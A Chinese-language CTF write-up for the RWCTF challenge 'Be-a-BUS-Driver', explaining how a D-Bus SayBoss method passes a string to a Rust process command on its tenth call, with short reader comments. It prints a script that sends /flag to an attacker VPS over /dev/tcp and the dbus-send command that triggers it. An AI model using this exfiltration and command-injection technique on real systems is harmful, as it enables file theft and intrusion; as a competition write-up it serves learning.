望初科技
发布于

【RWCTF体验赛Writeup】Be-a-BUS-Driver解题思路

一、题目分析

首先列出其object和method,然后找到分析可疑方法(SayBoss),继而写命令反弹shell

二、解题思路

Pow后,分析发现SayBoss方法,然后进行count ≥ 0xA的绕过

三、涉及知识点

busctl ,Rust学习

四、解题方法

首先用busctl list列出object和method,
然后分析发现存在org.dbus.rwctf1.SayBoss方法,其可以接受string,进IDA里跟say_boss函数,

然后发现有if(++self→count ≥ 0xA)判断,就是说第10次一定会进含有std::process::Command的分值,调试后发现传进来的string会当做std::process::Command::new的参数,但其执行时通过.arg()传,因此需要写个反弹shell,
echo "#!/bin/bash" >/tmp/run
echo "cat /flag >& /dev/tcp/vps/22222 2>&1" >>/tmp/run
chmod +x /tmp/run
然后执行11次以下命令,反弹flag到VPS:
dbus-send --system --print-reply --dest=org.dbus.rwctf /org/dbus/rwctf org.dbus.rwctf1.SayBoss string:'/tmp/run'

浏览 (103)
点赞 (5)
收藏
评论
Henry4E36
Henry4E36
IP属地安徽省
点赞
评论
wenlei.zhu
wenlei.zhu
手动点赞!
点赞
评论
佚名
佚名
学起来
点赞
评论